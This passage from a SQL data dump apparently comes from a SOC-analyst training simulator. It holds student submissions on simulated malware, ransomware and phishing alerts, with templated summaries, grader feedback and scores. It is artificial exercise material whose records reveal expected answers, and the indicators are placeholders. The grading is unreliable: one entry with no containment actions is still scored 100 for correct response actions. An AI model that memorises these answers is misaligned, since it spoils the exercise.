(Auto-Generated)\",\"submitted_at\":\"2026-02-26T22:00:13.714Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-26 21:57:30', '2026-02-28 21:00:00', 0, NULL),
(346, 189, 290, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"hash-3f0a2f5e\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:28:12 AM\\nALERT: TrickBot Malware Execution [OP: Operation Black Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [HASH] 3f0a2f5e4d3a9b5c7f6e9df123456789\\n- [IP] 34.210.123.158\\n- [FILENAME] trickbot.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-27T02:28:30.484Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:24:38', '2026-02-28 21:00:00', 0, NULL),
(347, 189, 291, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:31:48 AM\\nALERT: Persistence Mechanism Identified [OP: Operation Black Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] \\\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\trickbot.exe\\\" --silent\\n- [FILENAME] trickbot.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-27T02:32:05.023Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:28:30', '2026-02-28 21:00:00', 0, NULL),
(348, 189, 292, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-193.161.35.75\",\"ip-10.10.15.23\",\"hash-b1946ac9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:37:43 AM\\nALERT: Cobalt Strike Beacon Detected [OP: Operation Black Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 193.161.35.75\\n- [IP] 10.10.15.23\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] beacon.exe\\n- [USERNAME] janedoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-27T02:37:57.252Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:32:05', '2026-02-28 21:00:00', 0, NULL),
(349, 189, 293, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"hash-a3f5d6e8\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:45:38 AM\\nALERT: Ransomware Encryption Initiated [OP: Operation Black Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 198.51.100.23\\n- [HASH] a3f5d6e8b9c2d4a1e9f8b6c4d5e9a2b3\\n- [IP] 10.0.0.25\\n- [FILENAME] patient_records.dat\\n- [USERNAME] hospital_admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\nOn Windows 10, enable cloud-delivered protection and Attack Surface Reduction (ASR) rules to block the execution of files that resemble ransomware.[163] In AWS environments, create an IAM policy to restrict or block the use of SSE-C on S3 buckets\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-27T02:46:10.646Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:37:57', '2026-02-28 21:00:00', 0, NULL),
(350, 189, 294, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:49:36 AM\\nALERT: Initial Access via Spear Phishing Campaign [OP: Operation Golden Ticket]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.45\\n- [EMAIL] it-security@bank.com\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED:Amadou MANE\",\"submitted_at\":\"2026-02-27T02:49:49.789Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:46:32', '2026-02-28 21:00:00', 0, NULL),
(351, 189, 295, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.10.45\",\"ip-203.0.113.15\",\"cmd-1\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:51:13 AM\\nALERT: Malware Execution and Credential Harvesting [OP: Operation Golden Ticket]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.10.45\\n- [IP] 203.0.113.15\\n- [COMMAND] C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\credential_harvester.exe\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [FILENAME] credential_harvester.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-27T02:51:25.909Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:49:49', '2026-02-28 21:00:00', 0, NULL),
(352, 189, 296, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.2.15\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:54:36 AM\\nALERT: Lateral Movement through Network Exploitation [OP: Operation Golden Ticket]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.2.15\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] jdoe_admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-27T02:54:51.331Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:51:25', '2026-02-28 21:00:00', 0, NULL),
(353, 189, 297, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.25\",\"hash-4e5b6c7d\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:57:27 AM\\nALERT: Manipulation of ATM Withdrawal Limits and SWIFT Gateway [OP: Operation Golden Ticket]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.25\\n- [HASH] 4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\\n- [USERNAME] jdoe_admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-27T02:57:42.725Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:54:51', '2026-02-28 21:00:00', 0, NULL),
(354, 189, 304, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.25\",\"domain-http://malic\",\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/4/2026, 2:45:49 AM\\nALERT: Spear Phishing Email Detected [OP: Operation Desert Mirage]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.25\\n- [DOMAIN] http://maliciousdomain.com/securelogin\\n- [EMAIL] finance.partner@maliciousdomain.com\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (0)\\n------------------------------\\n(No active containment measures)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-03-04T01:46:47.206Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:57:56', '2026-03-04 01:46:47', 0, NULL),
(355, 209, 1285, 'investigating', NULL, NULL, NULL, NULL, '2026-02-27 07:14:49', '2026-02-27 04:05:49', '2026-02-27 04:05:49', 0, NULL),
(356, 214, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-27 06:14:06', '2026-02-27 06:14:06', 0, NULL),
(357, 196, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 2:57:07 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-27T06:57:22.400Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 06:52:53', '2026-02-28 21:00:00', 0, NULL),
(358, 196, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 2:59:20 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-27T06:59:24.541Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 06:57:22', '2026-02-28 21:00:00', 0, NULL),
(359, 196, 270, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:01:57 PM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block File Hash\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-27T07:01:59.915Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/6)\",\"missed_items\":[\"block_ip\",\"reset_credentials\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 06:59:24', '2026-02-28 21:00:00', 0, NULL),
(360, 196, 271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:04:49 PM\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-27T07:04:52.460Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 07:01:59', '2026-02-28 21:00:00', 0, NULL),
(361, 196, 272, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:06:35 PM\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-27T07:06:44.821Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 07:04:52', '2026-02-28 21:00:00', 0, NULL),
(362, 196, 274, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-27 07:06:58', '2026-02-27 07:06:58', 0, NULL),
(363, 217, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-01 03:17:30', '2026-03-01 03:17:30', 0, NULL),
(364, 223, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-01 15:51:16', '2026-03-01 15:51:16', 0, NULL),
(365, 224, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-01 15:54:55', '2026-03-01 15:54:55', 0, NULL),
(366, 225, 268, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 02/03/2026, 4:24:24 pm\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-02T05:24:48.736Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-02 01:00:00', '2026-03-02 05:24:48', 0, NULL),
(367, 225, 269, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"reset_credentials\",\"block_ip\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 02/03/2026, 4:27:24 pm\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-02T05:27:39.111Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-02 05:24:48', '2026-03-02 05:27:39', 0, NULL),
(368, 226, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-02 05:27:10', '2026-03-02 05:27:10', 0, NULL),
(369, 225, 270, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 02/03/2026, 4:28:57 pm\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-02T05:29:01.620Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-02 05:27:39', '2026-03-02 05:29:01', 0, NULL),
(370, 229, 268, 'graded', 70, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 6:20:15 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T01:20:21.813Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions 